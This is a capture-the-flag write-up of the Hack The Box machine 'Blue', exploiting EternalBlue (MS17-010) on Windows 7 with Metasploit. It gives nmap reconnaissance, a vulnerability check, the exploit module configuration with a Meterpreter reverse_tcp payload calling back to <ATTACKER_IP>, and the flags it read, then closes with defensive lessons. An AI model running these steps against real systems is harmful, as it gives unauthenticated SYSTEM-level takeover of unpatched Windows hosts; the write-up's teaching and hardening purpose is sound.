root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat blue.md
// writeups

Blue

28 Jul 2017 · 12 min read
Blue - maquina de Hack The Box

Executive summary — Blue is the textbook Easy Windows box built entirely around EternalBlue: a Windows 7 SP1 host with legacy SMBv1 exposed and unpatched against MS17-010 (CVE-2017-0143). The bug lives in the SMB kernel driver, so a working exploit doesn't give a shell as some low-privilege user — it gives arbitrary code execution inside the kernel itself, which surfaces as SYSTEM from the very first second. One hop, no privilege escalation: SMB → SYSTEM.

PlatformHack The Box
Operating systemWindows
DifficultyEasy
StatusRetired
Target IP10.129.3.72

Attack map

[135/139/445] Windows 7 SP1 — SMBv1 exposed, signing disabled
   │  nmap NSE: smb-vuln-ms17-010 → confirmed vulnerable
   ▼
[445] SMBv1 kernel driver (srv.sys)
   │  MS17-010 / CVE-2017-0143 (EternalBlue) — crafted Trans2 request,
   │  kernel pool overflow, unauthenticated RCE
   ▼
[SYSTEM]  NT AUTHORITY\SYSTEM (direct, no privesc — code runs in ring 0)

1. Reconnaissance

Standard opening: a full TCP scan with version and default-script detection.

nmap -sC -sV -Pn 10.129.3.72
135/tcp  msrpc
139/tcp  netbios-ssn
445/tcp  microsoft-ds
OS: Windows 7 Professional SP1  ·  SMB signing: disabled

The three open ports are the classic Windows file-sharing fingerprint: 135 is the RPC endpoint mapper, 139 is NetBIOS Session Service (SMB over NetBIOS), and 445 is SMB running directly over TCP/IP — the one that actually matters here. Nmap's OS detection also flags the host as Windows 7 Professional SP1, and its SMB script reports signing disabled.

Analysis: an unpatched Windows 7 SP1 with 445 exposed and signing off is about as loud an MS17-010 flag as HTB gets — this combination has been the single most common "Easy Windows" pattern since EternalBlue went public. SMB signing disabled isn't required for this particular exploit, but it's worth noting on its own: without it, an attacker in a position to intercept traffic could relay or tamper with SMB sessions (SMB relay attacks) — a second, independent weakness layered on top of the same protocol.

2. Confirm the vulnerability

Before touching Metasploit, it's good practice to verify the finding with a non-destructive check. Nmap ships a dedicated NSE script that probes the target's SMB stack and reads back its patch level, without ever triggering the kernel corruption:

nmap --script smb-vuln-ms17-010 -p445 10.129.3.72
VULNERABLE:
  Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
  CVE-2017-0143

This confirms the box specifically as unpatched against CVE-2017-0143 — one of the vulnerabilities bundled under the same MS17-010 security bulletin (which, together, spans CVE-2017-0143 through 0148, all fixed by the same March 2017 Microsoft patch). Running the checker first matters: firing an exploit blind against a host that turns out to already be patched, or that's running a slightly different SMB build, risks nothing more than a crashed service — but there's no reason to take that risk when a safe check exists.

3. What is EternalBlue (MS17-010)

Historical context. Microsoft shipped the fix for this vulnerability family in March 2017 (MS17-010), ahead of most of the world knowing it existed. A month later, in April 2017, the exploit tooling — developed by the NSA's Equation Group — was leaked publicly by the group known as Shadow Brokers. Weeks after that, in May 2017, the same exploit became the propagation engine of WannaCry, and a month later, in June 2017, of NotPetya — two of the most destructive ransomware/wiper outbreaks in history, both spreading by scanning for and hitting exactly this: unpatched SMBv1 on port 445.

Technical mechanism. The bug lives in SMBv1, the original (and long deprecated) version of Windows' file-sharing protocol, specifically in how the kernel-mode driver handling it (srv.sys) parses certain Trans2 secondary requests. A specially crafted packet causes a buffer/pool overflow in kernel memory, corrupting adjacent kernel structures in a controlled enough way that an attacker can redirect execution to their own shellcode — all of this without any authentication, since SMB negotiation happens before any credential is presented.

Why this equals SYSTEM and not just "a shell": the corrupted code path runs inside the Windows kernel (ring 0), not inside a user-mode service. There is no user account involved to be "low privilege" — the exploit's payload is handed the same execution context as the kernel itself, which is why the resulting session is NT AUTHORITY\SYSTEM from the first packet, with nothing to escalate afterward.

The NSA's own toolkit paired this exploit with a separate implant called DoublePulsar, a kernel-mode backdoor used for stealthier, persistent post-exploitation once the initial code execution was achieved. That implant isn't part of this box's exploitation chain — the Metasploit module used here goes straight to a Meterpreter session — but it's worth knowing by name, since it's the other half of the leak that made EternalBlue famous.

4. Exploitation (Metasploit)

With the vulnerability confirmed, Metasploit has a ready-made module for it:

msfconsole
search ms17_010
use exploit/windows/smb/ms17_010_eternalblue

Configuration is short but every value matters:

set RHOSTS 10.129.3.72
set LHOST <ATTACKER_IP>
set LPORT 4444
set payload windows/x64/meterpreter/reverse_tcp
show options
run
[*] Sending stage...
[*] Meterpreter session 1 opened

Why the x64 payload matters: the target is a 64-bit build of Windows 7. Picking the wrong architecture (a 32-bit payload against a 64-bit kernel, or vice versa) doesn't just fail quietly — the shellcode gets executed against the wrong memory layout, which typically crashes the SMB service (or the box) instead of returning a session. show options before run is the cheap way to catch a wrong RHOSTS/LHOST/payload before it costs you a service restart.

Internally, the module grooms the kernel's non-paged pool with a sequence of crafted SMB requests until memory is laid out predictably, then sends the Trans2 request that triggers the overflow and redirects execution into the supplied shellcode — which stages the full Meterpreter payload back over the reverse TCP connection.

Alternative, without Metasploit: the same vulnerability can be reached manually with public standalone PoCs (e.g. the AutoBlue-py exploit chain, or Impacket-based checkers) that replicate the same crafted-packet sequence without a Metasploit dependency. Not used in this run, but worth knowing the exploit isn't Metasploit-exclusive — it's a wire-level bug, and the framework is just one convenient delivery mechanism for it.

5. Access: SYSTEM directly

getuid
NT AUTHORITY\SYSTEM

No escalation needed. NT AUTHORITY\SYSTEM is the highest-privileged account on a Windows host — above even a local Administrator, with unrestricted access to every file, every process's memory (including LSASS), and the kernel itself. Because EternalBlue's payload executes in kernel context from the moment it lands, there's no intermediate low-privilege account to escalate from: the very first command run in the resulting session already has maximum privilege.

6. Flags

With a SYSTEM shell, both flags are a straight read — no further pivoting or permission juggling required:

cat C:\Users\haris\Desktop\user.txt
cat C:\Users\Administrator\Desktop\root.txt

The layout is the usual one for HTB Windows boxes: the user flag sits on a regular account's Desktop (haris), and the root-equivalent flag on the Administrator's. With SYSTEM already in hand, both are just filesystem reads. System fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
Foothold + RootSMBv1 kernel driver (Windows 7 SP1, port 445)MS17-010 / CVE-2017-0143 (EternalBlue)Unauthenticated remote code execution in kernel context → immediate NT AUTHORITY\SYSTEM

Lessons learned

  • Disable SMBv1 entirely. It's a dead, unsafe-by-design protocol (Disable-WindowsOptionalFeature -Online -FeatureName smb1protocol / Set-SmbServerConfiguration -EnableSMB1Protocol $false); modern Windows doesn't need it and shouldn't have it installed.
  • Patch on a real cadence. MS17-010 has had a fix since March 2017 — the fact that WannaCry still worked two months later, and that boxes like this still exist as "classic" Easy machines, is entirely a patch-management failure, not a novel attack.
  • Kernel-level bugs give the maximum privilege, always. There's no such thing as "escalating" from a kernel RCE — you land at the ceiling. Any bug that touches ring 0 should be treated as a full-compromise event, not "just RCE."
  • Segment flat networks. EternalBlue's worm behavior (scan 445 across the subnet, repeat) is exactly what let WannaCry and NotPetya cross entire corporate networks in hours. VLANs and SMB-egress filtering between segments would have stopped the spread even on unpatched hosts.
  • Treat SMB signing as a baseline, not an extra. It was disabled here independently of the RCE bug — a separate relay/tamper risk that a single GPO setting closes.
  • Vulnerability scanning catches this for free. MS17-010 is a first-tier signature in Nessus, OpenVAS, and the same nmap NSE script used above — there's no excuse for an internet-facing (or even internal) host to sit unpatched against it for years.